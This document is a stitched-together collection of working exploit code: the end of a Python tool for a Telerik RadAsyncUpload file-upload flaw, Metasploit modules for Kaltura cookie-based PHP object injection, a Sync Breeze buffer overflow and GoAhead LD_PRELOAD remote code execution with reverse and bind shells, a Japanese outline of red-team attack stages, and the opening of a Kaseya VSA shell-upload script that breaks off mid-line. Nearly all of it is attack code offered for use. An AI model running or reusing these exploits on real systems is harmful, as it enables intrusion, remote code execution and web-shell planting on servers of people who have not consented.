isHmacVersion = False
# "Encrypt-then-MAC" feature introduced in R1 2017
# Required for "2017.1.118", "2017.1.228", "2017.2.503"
if "2017" in Version:
isHmacVersion = True
hmac = HMAC.new(
b'PrivateKeyForHashOfUploadConfiguration',
bytes(string.encode()),
SHA256.new()
)
hmac = base64.b64encode(hmac.digest()).decode()
return string + hmac if isHmacVersion else string
def rauPostData_prep(quiet, TempTargetFolder, Version):
TargetFolder = RAUCipher.addHmac(
"jgas0meSrU/uP/TPzrhDTw==",
Version
)
TempTargetFolder = RAUCipher.addHmac(
RAUCipher.encrypt(TempTargetFolder),
Version
)
rauJSONplaintext = \
'{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
TempTargetFolder + \
'","MaxFileSize":0,"TimeToLive":{"Ticks":1440000000000,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.6666666666666666,"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'
if not quiet:
print("JSON: " + rauJSONplaintext + "\n")
rauPostData = RAUCipher.encrypt(rauJSONplaintext) + "&"
rauVersionplaintext = \
"Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
Version + \
", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
if not quiet:
print("Version: " + rauVersionplaintext + "\n")
rauPostData += RAUCipher.encrypt(rauVersionplaintext)
return rauPostData
def getVersion(url):
sys.stderr.write("Contacting server... ")
response = requests.get(url, verify=False)
html = response.text
sys.stderr.write("done\n")
match = re.search(
'((?<=\<\!-- )20\d{2}(.\d+)+(?= --\>))|' +
'(?<=Version%3d)20\d{2}(.\d+)+(?=%2c)|' +
'(?<=Version=)20\d{2}(.\d+)+(?=,)',
html
)
if match:
return match.group(0)
else:
return "No version result"
def payload(TempTargetFolder, Version, payload_filename):
sys.stderr.write("file: " + payload_filename + "\n")
sys.stderr.write("version: " + Version + "\n")
sys.stderr.write("destination " + TempTargetFolder + "\n")
sys.stderr.write("Preparing payload... \n")
payload_file = open(payload_filename, "r")
payload_file_data = payload_file.read()
payload_file.close()
quiet = True
data = "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
data += "\r\n"
data += rauPostData_prep(quiet, TempTargetFolder, Version) + "\r\n"
data += "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"file\"; filename=\"blob\"\r\n"
data += "Content-Type: application/octet-stream\r\n"
data += "\r\n"
data += payload_file_data
data += "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"fileName\"\r\n"
data += "\r\n"
data += "RAU_crypto.bypass\r\n"
data += "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"contentType\"\r\n"
data += "\r\n"
data += "text/html\r\n"
data += "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"lastModifiedDate\"\r\n"
data += "\r\n"
data += "2017-06-28T09:11:28.586Z\r\n"
data += "-----------------------------68821516528156\r\n"
data += "Content-Disposition: form-data; name=\"metadata\"\r\n"
data += "\r\n"
data += "{\"TotalChunks\":1,\"ChunkIndex\":0,\"TotalFileSize\":1,\"UploadID\":\"" + \
payload_filename + "\"}\r\n"
data += "-----------------------------68821516528156--\r\n"
data += "\r\n"
sys.stderr.write("Payload prep done\n")
return data
def upload(TempTargetFolder, Version, payload_filename, url):
sys.stderr.write("Preparing to upload to " + url + "\n")
session = requests.Session()
request = requests.Request(
'POST',
url,
data=payload(
TempTargetFolder,
Version,
payload_filename
)
)
request = request.prepare()
request.headers["Content-Type"] = \
"multipart/form-data; " +\
"boundary=---------------------------68821516528156"
response = session.send(request, verify=False)
sys.stderr.write("Upload done\n")
return response.text
def decode_rauPostData(rauPostData):
rauPostData = rauPostData.split("&")
rauJSON = RAUCipher.decrypt(rauPostData[0])
decoded = "\nJSON: " + rauJSON + "\n"
TempTargetFolder = json.loads(rauJSON)["TempTargetFolder"]
decoded = decoded + "\nTempTargetFolder = " + \
RAUCipher.decrypt(TempTargetFolder) + "\n"
rauVersion = RAUCipher.decrypt(rauPostData[1])
decoded = decoded + "\nVersion: " + rauVersion + "\n"
return decoded
def mode_decrypt():
# decrypt ciphertext
ciphertext = sys.argv[2]
print("\n" + RAUCipher.decrypt(ciphertext) + "\n")
def mode_Decrypt_rauPostData():
# decrypt rauPostData
rauPostData = sys.argv[2]
print(decode_rauPostData(rauPostData))
def mode_encrypt():
# encrypt plaintext
plaintext = sys.argv[2]
print("\n" + RAUCipher.encrypt(plaintext) + "\n")
def mode_Encrypt_rauPostData():
# encrypt rauPostData based on TempTargetFolder and Version
quiet = False
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
print(
"rauPostData: " +
rauPostData_prep(quiet, TempTargetFolder, Version) +
"\n"
)
def mode_encrypt_rauPostData_Quiet():
# as per -E but just output encrypted rauPostData,
# not the prepared JSON and version
quiet = True
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
print(rauPostData_prep(quiet, TempTargetFolder, Version))
def mode_version():
# extract Telerik web ui version details from url
url = sys.argv[2]
print(getVersion(url))
def mode_payload():
# generate a payload based on TempTargetFolder, Version and payload file
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
payload_filename = sys.argv[4]
print(payload(TempTargetFolder, Version, payload_filename))
def mode_Post():
# generate and upload a payload based on
# TempTargetFolder, Version, payload file and url
TempTargetFolder = sys.argv[2]
Version = sys.argv[3]
payload_filename = sys.argv[4]
url = sys.argv[5]
print(upload(TempTargetFolder, Version, payload_filename, url))
def mode_help():
print(
"Usage:\n" +
"\n" +
"Decrypt a plaintext: -d ciphertext\n" +
"Decrypt rauPostData: -D rauPostData\n" +
"Encrypt a plaintext: -e plaintext\n" +
"Gen rauPostData: -E TempTargetFolder Version\n" +
"Gen rauPostData (quiet): -Q TempTargetFolder Version\n" +
"Version in HTTP response: -v url\n" +
"Generate a POST payload: -p TempTargetFolder Version c:\\\\folder\\\\filename\n" +
"Upload a payload: -P TempTargetFolder Version c:\\\\folder\\\\filename url\n\n"
"Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau"
)
sys.stderr.write("\nRAU_crypto by Paul Taylor / Foregenix Ltd.\n")
sys.stderr.write(
"CVE-2017-11317 - " +
"Telerik RadAsyncUpload hardcoded keys / arbitrary file upload\n\n"
)
if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-d" and len(sys.argv) == 3:
mode_decrypt()
elif sys.argv[1] == "-D" and len(sys.argv) == 3:
mode_Decrypt_rauPostData()
elif sys.argv[1] == "-e" and len(sys.argv) == 3:
mode_encrypt()
elif sys.argv[1] == "-E" and len(sys.argv) == 4:
mode_Encrypt_rauPostData()
elif sys.argv[1] == "-Q" and len(sys.argv) == 4:
mode_encrypt_rauPostData_Quiet()
elif sys.argv[1] == "-v" and len(sys.argv) == 3:
mode_version()
elif sys.argv[1] == "-p" and len(sys.argv) == 5:
mode_payload()
elif sys.argv[1] == "-P" and len(sys.argv) == 6:
mode_Post()
else:
mode_help()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
CookieSecret = 'y3tAno3therS$cr3T'
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaltura Remote PHP Code Execution over Cookie',
'Description' => %q{
This module exploits an Object Injection vulnerability in Kaltura.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the context of the web server user.
Kaltura makes use of a hardcoded cookie secret which allows to sign
arbitrary cookie data. After passing this signature check, the base64-
decoded data is passed to PHPs unserialize() function which allows for
code execution. The constructed object is again based on the SektionEins
Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are
affected by this issue.
A valid entry_id (which is required for this exploit) can be obtained
from any media resource published on the kaltura installation.
This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Robin Verton <hello@robinverton.de>',
'Mehmet Ince <mehmet@mehmetince.net>' # first kaltura rce module
],
'References' =>
[
['CVE', '2017-14143']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Sep 12 2017',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']),
OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', ''])
]
)
end
def check
r = rand_text_alpha(15 + rand(4))
entry_id = datastore['ENTRYID']
cmd = "print_r(#{r}).die()"
p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)
if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
Exploit::CheckCode::Safe
elsif res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
elsif !check_entryid
print_error("Invalid ENTRYID")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Safe
end
end
def check_entryid
entry_id = datastore['ENTRYID']
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
}
)
return res.body.include? entry_id
end
def exploit
entry_id = datastore['ENTRYID']
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"
p = ""
p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";"
p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";"
p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";"
p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";"
p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";"
p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";"
p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}"
encoded = Rex::Text.encode_base64(p)
hash = Rex::Text.md5("#{encoded}#{CookieSecret}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'),
'vars_get' => {
'list_type' => '15',
'entry_id' => entry_id
},
'cookie' => "userzone=#{encoded}#{hash}"
)
if res && res.redirect?
print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
elsif res && res.code != 200
print_error('Unexpected response...')
else
print_status("Output: #{res.body}")
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
'Description' => %q(
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
by using the import command option to import a specially crafted xml file.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'References' =>
[
[ 'CVE', '2017-7310' ],
[ 'EDB', '41773' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
'StackAdjustment' => -3500
},
'Targets' =>
[
['Windows Universal', { 'Ret' => 0x10015FFE } ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 29 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end
def exploit
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
jmp = "\xFF\xE0" # JMP ESP
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
buffer << "\x90" * 1536
buffer << jmpesp
buffer << "\x90" * 18
buffer << esp
buffer << jmp
buffer << "\x90" * 68
buffer << generate_seh_record(target.ret)
buffer << "\x90" * 10
buffer << payload.encoded
buffer << "\x90" * 5000
buffer << "\n</classify>"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end
0x00フィッシング攻撃の準備(公共リソースから)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの調査と予防制御
0x02フィッシングメールを送信する(ターゲット組織に従業員のメールアドレスに)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x03ペイロードを送信します(ターゲット組織の従業員システムに)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの調査と予防制御
0x04ペイロードコマンドを実行する(ターゲット組織従業員システム)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x05局所的な持続性を維持する(ターゲット組織従業員システム)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの調査と予防制御
0x06コマンド制御チャネル(従業員システムから)を取得
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x07ローカル許可(従業員システム上)をアップグレード
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x08ローカル偵察/発見(従業員システムで)
を実行します1。一般的な赤チーム攻撃ベクトルとテクニック
2、一般的なブルーチームの偵察と予防制御
0x09ネットワーク偵察/発見を実行(ネットワーク上)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの調査と予防制御
0x10横方向の浸透(システムとネットワーク間)を実行する
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの調査と予防制御
0x11アップグレードドメイン権限(一般的なキャリアを介して)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x12機密データの検索とアクセス(一般的なデータストレージ)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
0x13漏れた機密データ(パブリックチャネルを使用)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
Logging/Siem(セキュリティ情報とイベント管理)/アラーム
0x14 C2なしでリモートアクセスを維持する(共通インターフェイスを使用)
1。一般的な赤チーム攻撃ベクトルとテクニック
2。一般的なブルーチームの偵察と予防制御
from:https://mp.weixin.qq.com/s/-tpufjnxfy3wmzrzfdozq
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in GoAhead web server versions between 2.5 and that have the CGI module
enabled.
},
'Author' =>
[
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
'h00die', # Metasploit Module
'hdm', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-17562' ],
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
],
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Reverse Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_reverse_stub',
'ConnectionType' => 'reverse',
}
}
}
],
[ 'Automatic (Bind Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_bind_stub',
'ConnectionType' => 'bind'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
# PowerPC stubs are currently over the 16384 maximum POST size
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'SHELL' => '/bin/sh',
},
'Privileged' => false,
'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit.
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
# PowerPC stubs are currently over the 16384 maximum POST size
# ARCH_PPC => [ 'powerpc' ],
# ARCH_PPC64 => [ 'powerpc64' ],
# ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
# Default to a system() template
template_type = 'system'
# Handle reverse_tcp() templates
if target['ReverseStub']
template_type = 'reverse'
end
# Handle reverse_tcp() templates
if target['BindStub']
template_type = 'bind'
end
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that may have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
unless ::File.exist?(wrapper_path)
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
end
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
if %W{reverse bind}.include?(template_type)
pidx = data.index("55555")
if pidx
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
end
end
if 'reverse' == template_type
pidx = data.index("000.000.000.000")
if pidx
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
end
end
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
yield(data)
# Introduce a small delay for the payload to stage
Rex.sleep(0.50)
# Short-circuit once we have a session
return if session_created?
end
end
end
# Start the shell train
def exploit
# Find a valid CGI target
target_uri = find_target_cgi
return unless target_uri
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Trigger the vulnerability and run the payload
trigger_payload(target_uri, wrapped_payload)
return if session_created?
end
end
# Determine whether the target is exploitable
def check
# Find a valid CGI target
target_uri = find_target_cgi
unless target_uri
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable
end
# Upload and LD_PRELOAD execute the shared library payload
def trigger_payload(target_uri, wrapped_payload)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'vars_get' => {
'LD_PRELOAD' => '/proc/self/fd/0'
},
'data' => wrapped_payload
})
nil
end
# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
def find_target_cgi
target_uris = []
common_dirs = %W^
/
/cgi-bin/
/cgi/
^
common_exts = ["", ".cgi"]
common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^
if datastore['TARGET_URI'].to_s.length > 0
target_uris << datastore['TARGET_URI']
end
common_dirs.each do |cgi_dir|
common_cgis.each do |cgi_path|
common_exts.each do |cgi_ext|
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
end
end
end
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
target_uris.each do |uri|
if is_cgi_exploitable?(uri)
print_good("Exploitable CGI located at #{uri}")
return uri
end
end
print_error("No valid CGI endpoints identified")
return
end
# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
def is_cgi_exploitable?(uri)
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
if res
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
else
vprint_status("Request for #{uri} did not return a response")
end
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
end
# This sometimes determines if the CGI module is enabled, but doesn't seem
# to return the error to the client in newer versions. Unused for now.
def is_cgi_enabled?
return true
res = send_request_cgi({'uri' => "/cgi-bin"})
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
end
end
#!/usr/bin/ruby
#
# kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450)
# ===================
# by Pedro Ribeiro <pedrib@gmail.com> / Agile Information Security
# Disclosure date: 28/09/2015
#
# Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>
#
# execjs and mechanize gems are required to run this exploit
#
# According to Kaseya's advisory, this exploit should work for the following VSA versions:
# VSA Version 7.0.0.0 – 7.0.0.32
# VSA Version 8.0.0.0 – 8.0.0.22
# VSA Version 9.0.0.0 – 9.0.0.18
# VSA Version 9.1.0.0 – 9.1.0.8
# This exploit has been tested with v8 and v9.
#
# Check out these two companion vulnerabilities, both of which have Metasploit modules:
# - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
# - Unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448)
#
# This code is released under the GNU General Public License v3
# http://www.gnu.org/licenses/gpl-3.0.html
#
require 'execjs'
require 'mechanize'
require 'open-uri'
require 'uri'
require 'openssl'
# avoid certificate errors
OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE
I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil
# Fixes a Mechanize bug, see
# http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/
class Mechanize::HTTP::Agent
MAX_RESET_RETRIES = 10
# We need to replace the core Mechanize HTTP method:
#
# Mechanize::HTTP::Agent#fetch
#
# with a wrapper that handles the infamous "too many connection resets"
# Mechanize bug that is described here:
#
# https://github.com/sparklemotion/mechanize/issues/123
#
# The wrapper shuts down the persistent HTTP connection when it fails with
# this error, and simply tries again. In practice, this only ever needs to
# be retried once, but I am going to let it retry a few times
# (MAX_RESET_RETRIES), just in case.
#
def fetch_with_retry(
uri,
method = :get,
headers = {},
params = [],
referer = current_page,
redirects = 0
)
action = "#{method.to_s.upcase} #{uri.to_s}"
retry_count = 0
begin
fetch_without_retry(uri, method, headers, params, referer, redirects)
rescue Net::HTTP::Persistent::Error => e
# Pass on any other type of error.
raise unless e.message =~ /too many connection resets/
# Pass on the error if we've tried too many times.
if retry_count >= MAX_RESET_RETRIES
puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}"
raise
end
# Otherwise, shutdown the persistent HTTP connection and try again.
# puts "**** WARN: Mechanize retrying connection reset error: #{action}"
retry_count += 1
self.http.shutdown
retry
end
end
# Alias so #fetch actually uses our new #fetch_with_retry to wrap the
# old one aliased as #fetch_without_retry.
alias_method :fetch_without_retry, :fetch
alias_method :fetch, :fetch_with_retry
end
if ARGV.length < 4
puts 'Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>'
exit -1
end
host = ARGV[0]
username = ARGV[1]
password = ARGV[2]
shell_file = ARGV[3]
login_url = host + '/vsapres/web20/core/login.aspx'
agent = Mechanize.new
# 1- go to the login URL, get a session cookie and the challenge.
page = agent.get(login_url)
login_form = page.forms.first
challenge = login_form['loginFormControl$ChallengeValueField']
# 2- calculate the password hashes with the challenge
source = open(host + "/inc/sha256.js").read
source += open(host + "/inc/coverPass.js").read
source += open(host + "/inc/coverPass256.js").read
source += open(host + "/inc/coverData.js").read
source += open(host + "/inc/passwordHashes.js").read
source.gsub!(/\<\!--(\s)*\#include.*--\>/, "") # remove any includes, this causes execjs to fail
context = ExecJS.compile(source)
hashes = context.call("getHashes",username,password,challenge)
# 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file
# We need the following input values to login:
# - __EVENTTARGET (empty)
# - __EVENTARGUMENT (empty)
# - __VIEWSTATE (copied from the original GET request)
# - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty)
# - __EVENTVALIDATION (copied from the original GET request)
# - loginFormControl$UsernameTextbox (username)
# - loginFormControl$PasswordTextbox (empty)
# - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon")
# - loginFormControl$SHA1Field (output from getHashes)
# - loginFormControl$RawSHA1Field (output from getHashes)
# - loginFormControl$SHA256Field (output from getHashes)
# - loginFormControl$RawSHA256Field (output from getHashes)
# - loginFormControl$ChallengeValueField (copied from the original GET request)
# - loginFormControl$TimezoneOffset ("0")
# - loginFormControl$ScreenHeight (any value between 800 - 2048)
# - loginFormControl$ScreenWidth (any value between 800 - 2048)
login_form['__EVENTTARGET'] = ''
login_form['__EVENTARGUMENT'] = ''
login_form['loginFormControl$UsernameTextbox'] = username
login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash']
login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash']
login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash']
login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash']
login_form['loginFormControl$TimezoneOffset'] = 0
login_form['loginFormControl$SubmitButton'] = 'Logon'
login_form['loginFormControl$screenHeight'] = rand(800..2048)
login_form['loginFormControl$screenWidth'] = rand(800..2048)
page = agent.submit(login_form)
web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId']
# 4- upload the file using the ReferringWebWindowId
page = agent.post('/vsapres/web20/json.ashx',
'directory' => "../WebPages",
